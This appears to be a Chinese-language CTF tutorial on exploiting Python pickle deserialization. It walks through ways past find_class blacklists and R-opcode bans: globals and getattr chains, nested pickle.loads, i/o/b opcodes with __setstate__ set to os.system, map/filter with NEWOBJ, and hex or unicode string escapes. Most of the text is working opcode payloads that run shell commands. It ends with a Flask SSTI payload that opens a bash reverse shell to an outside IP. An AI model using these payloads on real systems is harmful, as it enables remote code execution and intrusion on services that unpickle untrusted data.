import pickleimport io class RestrictedUnpickler (pickle.Unpickler): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode=b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR. ''' restricted_loads(opcode)
当然,以上payload只是一种方法,Python沙箱逃逸的方法还有很多,但思想都大同小异。当我们在在绕过find_class
时,我们最好先构造出沙箱逃逸的payload,然后再根据payload构造opcode即可。
当然,如果不想手写opcode的话,也可以使用pker工具来辅助生成opcode
getattr = GLOBAL('builtins' , 'getattr' )get = getattr (GLOBAL('builtins' , 'dict' ), 'get' ) golbals=GLOBAL('builtins' , 'globals' ) builtins_dict=golbals() __builtins__ = get(builtins_dict, '__builtins__' ) eval =getattr (__builtins__,'eval' )eval ("__import__('os').system('whoami')" )return
python3 pker.py < pker_test.py b"cbuiltins\ngetattr\np0\n0g0\n(cbuiltins\ndict\nS'get'\ntRp1\n0cbuiltins\nglobals\np2\n0g2\n(tRp3\n0g1\n(g3\nS'__builtins__'\ntRp4\n0g0\n(g4\nS'eval'\ntRp5\n0g5\n(S'__import__(\\'os\\').system(\\'whoami\\')'\ntR."
法2 在法1中,我们通过getattr(builtins,'eval')
来获取到了内置函数eval()
,getattr的第一个参数——builtins模块,是通过获取globals()
中的全局变量得到的。也就是说,globals()
函数中含有Python中提前设置好的全局变量,包括我们import的各种模块,那么我们是否可以通过globals(
)函数来获取pickle模块呢?我们实验一下便知
import pickleimport secretimport builtinsprint (builtins.globals ()) {..., 'pickle' : <module 'pickle' from 'C:\\...\\Python\\Python38\\lib\\pickle.py' >, 'secret' : <module 'secret' from 'C:\\...\\Pickle_Learning\\secret.py' >, 'builtins' : <module 'builtins' (built-in )>}
可以看到,globals()
函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()
来绕过find_class()
了。
不过值得注意的是,由于pickle.loads()
的参数需要为byte
类型。而在Protocol 0
中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class
限制。
Protocol 0:
import pickleimport pickletools b=b'abcdef' opcode=pickle.dumps(b,protocol=0 ) pickletools.dis(opcode) 0 : c GLOBAL '_codecs encode' 16 : p PUT 0 19 : ( MARK 20 : V UNICODE 'abcdef' 28 : p PUT 1 31 : V UNICODE 'latin1' 39 : p PUT 2 42 : t TUPLE (MARK at 19 ) 43 : p PUT 3 46 : R REDUCE 47 : p PUT 4 50 : . STOP highest protocol among opcodes = 0
直到Protocol 3
版本,Python才引入了B
和C
两个字节码来标识byte类型
BINBYTES = b'B' SHORT_BINBYTES = b'C'
import pickleimport pickletools b=b'abcdef' opcode=pickle.dumps(b,protocol=0 ) pickletools.dis(opcode) 0 : \x80 PROTO 3 2 : C SHORT_BINBYTES b'abcdef' 10 : q BINPUT 0 12 : . STOP highest protocol among opcodes = 3
可以看到此时pickle对于byte
类型变量的支持精简了很多。所以当我们想利用pickle.loads()
来绕过find_class时,最好选择Protocol 3
版本的opcode构造。
构造Protocol 3
版本的Payload:
首先获取get函数:
import pickleimport builtinsimport pickletools class Op : def __reduce__ (self ): return (getattr ,(builtins.dict ,'get' ,)) op=Op() opcode=pickle.dumps(op,protocol=3 ) print (opcode)pickletools.dis(opcode) b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.' 0 : \x80 PROTO 3 2 : c GLOBAL 'builtins getattr' 20 : q BINPUT 0 22 : c GLOBAL 'builtins dict' 37 : q BINPUT 1 39 : X BINUNICODE 'get' 47 : q BINPUT 2 49 : \x86 TUPLE2 50 : q BINPUT 3 52 : R REDUCE 53 : q BINPUT 4 55 : . STOP highest protocol among opcodes = 2
其中有很多q\0xn
字节码,q\xnn
这样的序列表示对之前保存的对象的一个引用,去掉也是可以的
构造出pickle.loads()函数:
import pickle opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR." print (pickle.loads(opcode)) <built-in function loads>
接着我们生成要执行的Payload:
import pickleimport os class Command : def __reduce__ (self ): command="whoami" return (os.system,(command,)) op=Command() opcode=pickle.dumps(op,protocol=0 ) print (opcode) b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
由于loads()函数接受的是byte类型参数,为了方便构造,我们先手动看一下pickle.loads(payload)
的字节码,方便我们后续构造:
import pickleimport pickletools class bin : def __reduce__ (self ): return (pickle.loads,(b'''cos\nsystem\n(S'whoami'\ntR.''' ,)) b=bin () opcode=pickle.dumps(b,protocol=3 ) print (opcode)pickletools.dis(opcode) b"\x80\x03c_pickle\nloads\nq\x00C\x19cos\nsystem\n(S'whoami'\ntR.q\x01\x85q\x02Rq\x03." 0 : \x80 PROTO 3 2 : c GLOBAL '_pickle loads' 17 : q BINPUT 0 19 : C SHORT_BINBYTES b"cos\nsystem\n(S'whoami'\ntR." 46 : q BINPUT 1 48 : \x85 TUPLE1 49 : q BINPUT 2 51 : R REDUCE 52 : q BINPUT 3 54 : . STOP highest protocol among opcodes = 3
这里使用了字节码C
代表byte类型,然后后面跟上数据长度的十六进制即可,我们将C\x19cos\nsystem\n(S’whoami’\ntR.和上文构造好的
pickle.loads()`函数合并即可,完整payload如下。
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
测试绕过:
import pickleimport ioimport builtins class RestrictedUnpickler (pickle.Unpickler): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode2=opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R." restricted_loads(opcode2)
同理 pker输入:
funcglob=GLOBAL("builtins" ,"globals" ) glob=funcglob() dict =GLOBAL("builtins" ,"dict" )getattr =GLOBAL("builtins" ,"getattr" )get=getattr (dict ,"get" ) pickle=get(glob,"pickle" ) loads=getattr (pickle,"loads" ) loads("bytestr" )
opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(S'bytestr'\ntR"
这里需要把生成的opcode的S'bytestr'
改成byte字符串,用了B
opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR"
绕过R指令 以上方法虽然能够绕过对module
和一些危险函数的限制,但本质上仍然是对__reduce__
函数的延伸。倘若将字节码R
也禁用了,那我们怎么进行RCE呢?
如果你还记得我上文所说的pickle漏洞命令执行的几种方法的话,你肯定能立即想到和函数执行有关的字节码R
、i
、o
。实际上,如果没有R
指令,我们同样能够进行函数执行。有下面这样一个例子
import pickleimport stao class Animal : def __init__ (self, name, category ): self.name = name self.category = category def __eq__ (self, other ): return type (other) is Animal and self.name == other.name and self.category == other.category def check (data ): if b'R' in data: return 'no reduce!' x=pickle.loads(data) if (x!= Animal(stao.name,stao.age)): print ('not equal' ) return print ('well done! {} {}' .format (stao.name,stao.age))
这里禁用了R指令,但是我们仍有方法初始化一个Animal对象。我在上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行,所以我们同样能够使用其他指令绕过。
i指令 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'stao' I18 i__main__ Animal .'''
o指令 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(c__main__ Animal S'stao' I18 o.'''
假如这里我们不知道stao
模块的内容,我们可以通过变量覆盖的方式将原有stao中的变量覆盖掉。
opcode=b'''c__main__ stao (S'name' S'Hacker' S'age' I18 db(c__main__ Animal S'Hacker' I18 o.'''
b指令 实我们在上文已经使用过了b
指令,当时他的作用是用来更新栈上的一个字典进行变量覆盖。实际上官方对它的解释是BUILD
,当PVM解析到b
指令时执行__setstate__
或者__dict__.update()
。
那什么是__setstate__
呢?官方文档中,如果想要存储对象的状态,就可以使用__getstat__
和__setstat__
方法。
被反序列化时调用__setstate__
,被序列化时调用__getstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
由于pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')
。
我们来看下面的例子
import pickle class Person : def __init__ (self, name, age=0 ): self.name = name self.age = age def __str__ (self ): return f"name: {self.name} \nage: {self.age} " class Child (Person ): def __setstate__ (self, state ): print ("invoke __setstate__" ) self.name=state self.age=10 def __getstate__ (self ): print ("invoke __getstate__" ) return "Child" c1=Child("TEST" ) print (c1) opcode=pickle.dumps(c1,protocol=0 ) print (opcode) c2=pickle.loads(opcode) print (c2)
当对象被序列化时调用__getstate__
,被反序列化时调用__setstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
在pickle源码中,字节码b
对应的是load_build()
函数
def load_build (self ): stack = self.stack state = stack.pop() inst = stack[-1 ] setstate = getattr (inst, "__setstate__" , None ) if setstate is not None : setstate(state) return slotstate = None if isinstance (state, tuple ) and len (state) == 2 : state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type (k) is str : inst_dict[intern(k)] = v else : inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr (inst, k, v) dispatch[BUILD[0 ]] = load_build
那么这有什么安全问题呢?如果我们将字典{"__setstate__":os.system}
,压入栈中,并执行b
字节码,,由于此时并没有__setstate__
,所以这里b字节码相当于执行了__dict__.update
,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b
字节码时,由于已经有了__setstate__
,所以会将栈中字节码b
的前一个元素当作state
,执行__setstate__(state)
,也就是os.system(command)
。
Payload如下
opcode=b'''(c__main__ Animal S'Casual' I18 o}(S"__setstate__" #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system} cos system ubS"whoami" b.'''
执行结果如下,成功RCE
import pickleimport staoimport pickletools class Animal : def __init__ (self, name, category ): self.name = name self.category = category def __eq__ (self, other ): return type (other) is Animal and self.name == other.name and self.category == other.category def check (data ): if b'R' in data: return 'no reduce!' x=pickle.loads(data) if (x!= Animal(stao.name,stao.age)): print ('not equal' ) return print ('well done! {} {}' .format (stao.name,stao.age)) opcode=b'''(c__main__ Animal S'Casual' I18 o}(S"__setstate__" cos system ubS"whoami" b.''' check(opcode) pickletools.dis(opcode) xiaoh\34946 not equal 0 : ( MARK 1 : c GLOBAL '__main__ Animal' 18 : S STRING 'Casual' 28 : I INT 18 32 : o OBJ (MARK at 0 ) 33 : } EMPTY_DICT 34 : ( MARK 35 : S STRING '__setstate__' 51 : c GLOBAL 'os system' 62 : u SETITEMS (MARK at 34 ) 63 : b BUILD 64 : S STRING 'whoami' 74 : b BUILD 75 : . STOP highest protocol among opcodes = 1
python内置函数绕过 这一部分就是考验 python 的基础了,题目的话可以参考 美团CTF 2022 ezpickle 和 蓝帽杯2022 file_session
Python 解释器内置了很多函数和类型,任何时候都能使用。以下按字母顺序给出列表。
不只是上文我们用的eval open等危险函数
还有一些其他函数可以进行命令执行
for x in map .__new__(map , eval , ['print(\'map\')' ]): pass for x in filter .__new__(filter , eval , ['print(\'filter\')' ]): pass
如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器
这里构建的迭代器是不会立即触发的,在 python 中叫懒惰,我们需要再对迭代对象进行一步 __next__
才能将他触发
r = map (eval , ['print(\'1\')' ]) r.__next__() r = filter (eval , ['print(\'2\')' ]) r.__next__()
而 __next__
我们可以对他进行一个跟踪,看文档就可以
Python/C API 中 Python 对象类型结构体的 tp_iternext
槽位
可以看到最下面,这里实际上也就是对应着 PyIter_Next
PyIter_Next:
我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__()
了,我们需要找一个能够触发 PyIter_Next
的方法:
类的__new__()
构造方法:
着重注意这个操作符:
NEWOBJ = b'\x81'#(这个很有用) #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈
他是可以触发类的__new__()
函数的,所以在某些时候可以寻找可用的__new__()
方法进行绕过.在下一个方法中,我们正是用了这一点才代替__next__()
方法进行迭代.
bytes .__new__(bytes , map .__new__(map , eval , ['print(1)' ])) tuple .__new__(tuple , map .__new__(map , exec , ["print('1')" ]))
也就是:
opcode=b'''c__builtin__ map p0 0(S'whoami' tp1 0(cos system g1 tp2 0g0 g2 \x81p3 0c__builtin__ tuple p4 (g3 t\x81.''' pickle.loads(opcode) opcode=b'''c__builtin__ map p0 0(S'whoami' tp1 0(cos system g1 tp2 0g0 g2 \x81p3 0c__builtin__ bytes p4 (g3 t\x81.''' pickle.loads(opcode)
用到的核心其实就是:
绕过敏感字符 S S
操作码本身是 String ,是支持十六进制的识别的
S'flag' => S'\x66\x6c\x61\x67'
c__main__ secret (S'\x6bey' S'asd' db.
b'''capp admin (S'\x73ecret' I1 db0(capp User S"admin" I1 o.'''
V V
指令的用法,类似于指令S
在指令集中存在一个 V
用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码
S'flag' => V'\u0066\u006C\u0061\u0067'
c__main__ secret (V\u006bey S'asd' db.
b'''capp admin (Vsecr\u0065t I1 db0(capp User S"admin" I1 o.'''
内置模块获取关键字 对于已导入的模块,我们可以通过sys.modules['xxx']
来获取该模块,然后通过内置函数dir()来列出模块中的所有属性
可以看到模块中的属性是以列表的形式输出,我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来。
由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()
函数来将列表逆序,并返回一个迭代对象
然后我们可以通过next()
函数来获取迭代对象的下一个元素,默认从第一个元素开始。最终可以构造如下
print (next (reversed (dir (sys.modules['admin' ]))))
reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造
opcode=b'''(((((c__main__ admin i__builtin__ dir i__builtin__ reversed i__builtin__ next .''' print (pickle.loads(opcode)) 获取到了secret字符串,下面就容易构造变量覆盖了
opcode = b'''c__main__ admin (((((c__main__ admin i__builtin__ dir i__builtin__ reversed i__builtin__ next I1 //指定参数、索引 db(S'admin' I1 i__main__ User .'''
flask 框架下结合 SSTI 进行 bypass 简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod
payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."